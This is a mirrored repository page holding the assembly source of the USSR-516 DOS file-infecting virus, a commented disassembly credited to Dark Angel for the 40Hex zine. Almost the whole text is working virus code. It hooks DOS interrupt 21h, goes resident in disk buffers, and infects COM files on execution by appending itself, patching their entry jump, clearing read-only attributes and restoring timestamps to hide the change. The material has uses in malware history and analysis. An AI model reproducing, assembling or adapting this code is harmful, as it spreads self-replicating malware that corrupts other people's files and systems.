mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
279 lines
13 KiB
NASM
279 lines
13 KiB
NASM
|
|
||
|
ussr516 segment byte public
|
||
|
assume cs:ussr516, ds:ussr516
|
||
|
org 100h
|
||
|
; Disassembled by Dark Angel of PHALCON/SKISM
|
||
|
; for 40Hex Number 7 Volume 2 Issue 3
|
||
|
stub: db 0e9h, 0, 0
|
||
|
db 0e9h, 1, 0, 0
|
||
|
; This is where the virus really begins
|
||
|
start:
|
||
|
push ax
|
||
|
call beginvir
|
||
|
|
||
|
orig4 db 0cdh, 20h, 0, 0
|
||
|
int30store db 0, 0, 0, 0 ; Actually it's int 21h
|
||
|
; entry point
|
||
|
int21store db 0, 0, 0, 0
|
||
|
|
||
|
beginvir: pop bp ; BP -> orig4
|
||
|
mov si,bp
|
||
|
mov di,103h
|
||
|
add di,[di-2] ; DI -> orig4
|
||
|
movsw ; restore original
|
||
|
movsw ; 4 bytes of program
|
||
|
xor si,si
|
||
|
mov ds,si
|
||
|
les di,dword ptr ds:[21h*4]
|
||
|
mov [bp+8],di ; int21store
|
||
|
mov [bp+0Ah],es
|
||
|
lds di,dword ptr ds:[30h*4+1] ; Bug????
|
||
|
findmarker:
|
||
|
inc di
|
||
|
cmp word ptr [di-2],0E18Ah ; Find marker bytes
|
||
|
jne findmarker ; to the entry point
|
||
|
mov [bp+4],di ; and move to
|
||
|
mov [bp+6],ds ; int30store
|
||
|
mov ax,5252h ; Get list of lists
|
||
|
int 21h ; and also ID check
|
||
|
|
||
|
add bx,12h ; Already installed?
|
||
|
jz quitvir ; then exit
|
||
|
push bx
|
||
|
mov ah,30h ; Get DOS version
|
||
|
int 21h
|
||
|
|
||
|
pop bx ; bx = 12, ptr to 1st
|
||
|
; disk buffer
|
||
|
cmp al,3
|
||
|
je handlebuffer ; if DOS 3
|
||
|
ja handleDBHCH ; if > DOS 3
|
||
|
inc bx ; DOS 2.X, offset is 13
|
||
|
handlebuffer:
|
||
|
push ds
|
||
|
push bx
|
||
|
lds bx,dword ptr [bx] ; Get seg:off of buffer
|
||
|
inc si
|
||
|
pop di
|
||
|
pop es ; ES:DI->seg:off buff
|
||
|
mov ax,[bx] ; ptr to next buffer
|
||
|
cmp ax,0FFFFh ; least recently used?
|
||
|
jne handlebuffer ; if not, go find it
|
||
|
cmp si,3
|
||
|
jbe quitvir
|
||
|
stosw
|
||
|
stosw
|
||
|
jmp short movetobuffer
|
||
|
handleDBHCH: ; Disk Buffer Hash Chain Head array
|
||
|
lds si,dword ptr [bx] ; ptr to disk buffer
|
||
|
lodsw ; info
|
||
|
lodsw ; seg of disk buffer
|
||
|
; hash chain head array
|
||
|
inc ax ; second entry
|
||
|
mov ds,ax
|
||
|
xor bx,bx
|
||
|
mov si,bx
|
||
|
lodsw ; EMS page, -1 if not
|
||
|
; in EMS
|
||
|
xchg ax,di ; save in di
|
||
|
lodsw ; ptr to least recently
|
||
|
; used buffer
|
||
|
mov [di+2],ax ; change disk buffer
|
||
|
; backward offset to
|
||
|
; least recently used
|
||
|
xchg ax,di ; restore EMS page
|
||
|
mov [di],ax ; set to least recently
|
||
|
movetobuffer: ; used
|
||
|
mov di,bx
|
||
|
push ds
|
||
|
pop es ; ES:DI -> disk buffer
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov cx,108h
|
||
|
lea si,[bp-4] ; Copy from start
|
||
|
rep movsw
|
||
|
mov ds,cx ; DS -> interrupt table
|
||
|
mov word ptr ds:[4*21h],0BCh ; New interrupt handler
|
||
|
mov word ptr ds:[4*21h+2],es ; at int21
|
||
|
quitvir:
|
||
|
push cs ; CS = DS = ES
|
||
|
pop es
|
||
|
push es
|
||
|
pop ds
|
||
|
pop ax
|
||
|
mov bx,ax
|
||
|
mov si, 100h ; set up stack for
|
||
|
push si ; the return to the
|
||
|
retn ; original program
|
||
|
int24:
|
||
|
mov al,3 ; Ignore all errors
|
||
|
iret
|
||
|
tickstore db 3 ; Why???
|
||
|
buffer db 3, 0, 9, 0
|
||
|
|
||
|
int21:
|
||
|
pushf
|
||
|
cli ; CP/M style call entry
|
||
|
call dword ptr cs:[int30store-start]
|
||
|
retn ; point of int 21h
|
||
|
|
||
|
int21DSDX: ; For int 21h calls
|
||
|
push ds ; with
|
||
|
lds dx,dword ptr [bp+2] ; DS:DX -> filename
|
||
|
call int21
|
||
|
pop ds
|
||
|
retn
|
||
|
|
||
|
cmp ax,4B00h ; Execute
|
||
|
je Execute
|
||
|
cmp ax,5252h ; ID check
|
||
|
je CheckID
|
||
|
cmp ah,30h ; DOS Version
|
||
|
je DosVersion
|
||
|
callorig21: ; Do other calls
|
||
|
jmp dword ptr cs:[int21store-start]
|
||
|
DosVersion: ; Why????? ; DOS Version
|
||
|
dec byte ptr cs:[tickstore-start]
|
||
|
jnz callorig21 ; Continue if not 0
|
||
|
push es
|
||
|
xor ax,ax
|
||
|
push ax
|
||
|
mov es,ax
|
||
|
mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
|
||
|
; since midnight
|
||
|
and al,7 ; MOD 15
|
||
|
inc ax
|
||
|
inc ax
|
||
|
mov cs:[tickstore-start],al ; # 2-17
|
||
|
pop ax
|
||
|
pop es
|
||
|
iret
|
||
|
CheckID: ; ID Check
|
||
|
mov bx,0FFEEh ; FFEEh = -12h
|
||
|
iret
|
||
|
Execute: ; Execute
|
||
|
push ax ; Save registers
|
||
|
push cx
|
||
|
push es
|
||
|
push bx
|
||
|
push ds ; DS:DX -> filename
|
||
|
push dx ; save it on stack
|
||
|
push bp
|
||
|
mov bp,sp ; Set up stack frame
|
||
|
sub sp,0Ah ; Temporary variables
|
||
|
; [bp-A] = attributes
|
||
|
; [bp-8] = int 24 off
|
||
|
; [bp-6] = int 24 seg
|
||
|
; [bp-4] = file time
|
||
|
; [bp-2] = file date
|
||
|
sti
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov ax,3301h ; Turn off ^C check
|
||
|
xor dl,dl ; (never turn it back
|
||
|
call int21 ; on. Bug???)
|
||
|
mov ax,3524h ; Get int 24h
|
||
|
call int21 ; (Critical error)
|
||
|
mov [bp-8],bx
|
||
|
mov [bp-6],es
|
||
|
mov dx,int24-start
|
||
|
mov ax,2524h ; Set to new one
|
||
|
call int21
|
||
|
mov ax,4300h ; Get attributes
|
||
|
call int21DSDX
|
||
|
jnc continue
|
||
|
doneinfect:
|
||
|
mov ax,2524h ; Restore crit error
|
||
|
lds dx,dword ptr [bp-8] ; handler
|
||
|
call int21
|
||
|
cli
|
||
|
mov sp,bp
|
||
|
pop bp
|
||
|
pop dx
|
||
|
pop ds
|
||
|
pop bx
|
||
|
pop es
|
||
|
pop cx
|
||
|
pop ax
|
||
|
jmp short callorig21 ; Call orig handler
|
||
|
continue:
|
||
|
mov [bp-0Ah],cx ; Save attributes
|
||
|
test cl,1 ; Check if r/o????
|
||
|
jz noclearattr
|
||
|
xor cx,cx
|
||
|
mov ax,4301h ; Clear attributes
|
||
|
call int21DSDX ; Filename in DS:DX
|
||
|
jc doneinfect ; Quit on error
|
||
|
noclearattr:
|
||
|
mov ax,3D02h ; Open read/write
|
||
|
call int21DSDX ; Filename in DS:DX
|
||
|
jc doneinfect ; Exit if error
|
||
|
mov bx,ax
|
||
|
mov ax,5700h ; Save time/date
|
||
|
call int21
|
||
|
mov [bp-4],cx
|
||
|
mov [bp-2],dx
|
||
|
mov dx,buffer-start
|
||
|
mov cx,4
|
||
|
mov ah,3Fh ; Read 4 bytes to
|
||
|
call int21 ; buffer
|
||
|
jc quitinf
|
||
|
cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
|
||
|
jne quitinf ; Otherwise, quit
|
||
|
mov dx,word ptr ds:[buffer+1-start]; dx = jmploc
|
||
|
dec dx
|
||
|
xor cx,cx
|
||
|
mov ax,4201h ; go there
|
||
|
call int21
|
||
|
mov ds:[buffer-start],ax ; new location offset
|
||
|
mov dx,orig4-start
|
||
|
mov cx,4
|
||
|
mov ah,3Fh ; Read 4 bytes there
|
||
|
call int21
|
||
|
mov dx,ds:[orig4-start]
|
||
|
cmp dl,0E9h ; 0E9h means we might
|
||
|
jne infect ; already be there
|
||
|
mov ax,ds:[orig4+2-start] ; continue checking
|
||
|
add al,dh ; to see if we really
|
||
|
sub al,ah ; are there.
|
||
|
jz quitinf
|
||
|
infect:
|
||
|
xor cx,cx
|
||
|
mov dx,cx
|
||
|
mov ax,4202h ; Go to EOF
|
||
|
call int21
|
||
|
mov ds:[buffer+2-start],ax ; save filesize
|
||
|
mov cx,204h
|
||
|
mov ah,40h ; Write virus
|
||
|
call int21
|
||
|
jc quitinf ; Exit if error
|
||
|
sub cx,ax
|
||
|
jnz quitinf
|
||
|
mov dx,ds:[buffer-start]
|
||
|
mov ax,ds:[buffer+2-start]
|
||
|
sub ax,dx
|
||
|
sub ax,3 ; AX->jmp offset
|
||
|
mov word ptr ds:[buffer+1-start],ax; Set up buffer
|
||
|
mov byte ptr ds:[buffer-start],0E9h; code the jmp
|
||
|
add al,ah
|
||
|
mov byte ptr ds:[buffer+3-start],al
|
||
|
mov ax,4200h ; Rewind to jmploc
|
||
|
call int21
|
||
|
mov dx, buffer-start
|
||
|
mov cx,4 ; Write in the jmp
|
||
|
mov ah,40h
|
||
|
call int21
|
||
|
quitinf:
|
||
|
mov cx,[bp-4]
|
||
|
mov dx,[bp-2]
|
||
|
mov ax,5701h ; Restore date/time
|
||
|
call int21
|
||
|
mov ah,3Eh ; Close file
|
||
|
call int21
|
||
|
mov cx,[bp-0Ah] ; Restore attributes
|
||
|
mov ax,4301h
|
||
|
call int21DSDX
|
||
|
jmp doneinfect ; Return
|
||
|
ussr516 ends
|
||
|
end stub
|